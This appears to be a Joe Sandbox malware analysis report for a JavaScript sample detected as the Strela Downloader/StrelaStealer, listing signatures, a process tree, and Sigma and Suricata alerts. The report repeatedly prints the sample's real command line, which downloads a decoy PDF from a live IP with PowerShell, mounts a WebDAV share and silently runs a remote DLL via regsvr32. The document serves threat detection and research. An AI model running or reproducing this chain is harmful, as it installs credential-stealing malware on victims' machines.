Edit tour

Windows Analysis Report
42384357676028189.js

Overview

General Information

Sample name:	42384357676028189.js
Analysis ID:	1588689
MD5:	2cac48ec8e0ee3eb460634c2597313b7
SHA1:	82f4cc53560a8eafbcfa412fb009d0dbf5bc530e
SHA256:	3445a347a9003486242e9edc3258100b19efdcab1b536686760cf2cc38e8936a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4608 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3924 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3420 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2120 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2720 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1616,i,11305812430169056372,6185947756390858180,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3776 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4208 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6184 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4608	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3420, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3420, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ProcessId: 4608, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4208, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ProcessId: 4608, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3924, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3420, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3776, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4208, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6184, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3776, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4208, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42384357676028189.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4608, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 3924, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:14:32.653425+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:14:35.287701+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:14:32.653425+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 42384357676028189.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 42384357676028189.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:14:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
